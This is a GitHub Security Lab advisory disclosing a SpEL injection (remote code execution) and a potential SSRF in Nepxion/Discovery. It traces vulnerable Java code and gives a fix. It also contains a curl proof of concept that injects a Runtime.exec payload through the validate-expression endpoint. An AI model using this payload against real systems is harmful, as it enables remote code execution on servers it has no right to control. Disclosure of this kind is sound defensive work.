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September 9, 2022

GHSL-2022-033_GHSL-2022-034: SpEL Injection in Nepxion/Discovery - CVE-2022-23463, CVE-2022-23464

Jorge Rosillo

Coordinated Disclosure Timeline

Summary

Nepxion/Discovery is vulnerable to SpEL Injection in discovery-commons and a potential SSRF in discovery-plugin-admin-center.

Product

Discovery

Tested Version

9f3e7a5

Details

Issue 1: SpEL Injection in discovery-commons (GHSL-2022-033)

DiscoveryExpressionResolver’s eval method is evaluating expression with a StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. There are two endpoints (here and here) taking user input into expression.

For instance, StrategyEndpoint exposes a /strategy/validate-expression endpoint whose expression parameter flows to strategyResource.validateExpression in [1].

StrategyEndpoint.java

@RestController
@RequestMapping(path = "/strategy")
...
public class StrategyEndpoint {
    @Autowired
    private StrategyResource strategyResource;

    @RequestMapping(path = "/validate-expression", method = RequestMethod.GET)
    ...
    public ResponseEntity<?> validateExpression(@RequestParam @ApiParam(value = "...", defaultValue = "...", required = true) String expression, @RequestParam(defaultValue = "", required = false) @ApiParam(value = "...", defaultValue = "a=1;b=1") String validation) {
        return doValidateExpression(expression, validation);
    }

    private ResponseEntity<?> doValidateExpression(String expression, String validation) {
        try {
            boolean result = strategyResource.validateExpression(expression, validation); // 1

            return ResponseUtil.getSuccessResponse(result);
        } catch (Exception e) {
            return ResponseUtil.getFailureResponse(e);
        }
    }
}

StrategyResource builds a Map with the validation parameter, but leaves expression intact, ultimately flowing to DiscoveryExpressionResolver.eval in [2].

StrategyResource.java

public class StrategyResourceImpl implements StrategyResource {
    private TypeComparator typeComparator = new DiscoveryTypeComparor();

    @Override
    public boolean validateExpression(String expression, String validation) {
        Map<String, String> map = null;
        try {
            map = StringUtil.splitToMap(validation);
        } catch (Exception e) {
            throw new DiscoveryException("Invalid format for validation input");
        }

        return DiscoveryExpressionResolver.eval(expression, DiscoveryConstant.EXPRESSION_PREFIX, map, typeComparator); // 2
    }
}

In DiscoveryExpressionResolver, the first eval method leaves, again, the expression parameter intact (in [3]) flowing to the second eval method, where expression gets evaluated using the vulnerable StandardEvaluationContext ([2]) in [4].

DiscoveryExpressionResolver.java

public class DiscoveryExpressionResolver {
    private static final ExpressionParser EXPRESSION_PARSER = new SpelExpressionParser(); // 1

    public static boolean eval(String expression, String key, Map<String, String> map, TypeComparator typeComparator) {
        StandardEvaluationContext context = new StandardEvaluationContext(); // 2
        context.setTypeComparator(typeComparator);
        if (map != null) {
            context.setVariable(key, map);
        } else {
            context.setVariable(key, new HashMap<String, String>());
        }

        return eval(expression, context); // 3
    }

    public static boolean eval(String expression, StandardEvaluationContext context) {
        try {
            Boolean result = EXPRESSION_PARSER.parseExpression(expression).getValue(context, Boolean.class); // 4

            return result != null ? result.booleanValue() : false;
        } catch (Exception e) {
            return false;
        }
    }
}

Impact

This issue may lead to Remote Code Execution.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Resources

POC
$ curl '127.0.0.1:9628/strategy/validate-expression?expression=T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27touch%20/tmp/vulnz%27%29&validation=a%3dtest'
$ ls -al /tmp/ | grep vulnz

Issue 2: Potential SSRF in discovery-plugin-admin-center (GHSL-2022-034)

RouterResourceImpl uses RestTemplate’s getForEntity [2] to retrieve the contents of a URL containing user-controlled input [1] from this endpoint.

RouterResourceImpl.java

public List<RouterEntity> getRouterEntityList(String routeServiceId, String routeProtocol, String routeHost, int routePort, String routeContextPath) {
        String url = routeProtocol + "://" + routeHost + ":" + routePort + routeContextPath + "router/route/" + routeServiceId; // 1

        String result = null;
        try {
            result = routerRestTemplate.getForEntity(url, String.class).getBody(); // 2
        } catch (RestClientException e) {
            throw new DiscoveryException("Failed to execute to route, serviceId=" + routeServiceId + ", url=" + url, e);
        }

        if (StringUtils.isEmpty(result)) {
            return null;
        }

        List<RouterEntity> routerEntityList = JsonUtil.fromJson(result, new TypeReference<List<RouterEntity>>() {
        });

        return routerEntityList;
    }

Impact

This issue may lead to Information Disclosure.

CVE

Credit

These issues were discovered and reported by GHSL team member @jorgectf (Jorge Rosillo).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-033 or GHSL-2022-034 in any communication regarding these issues.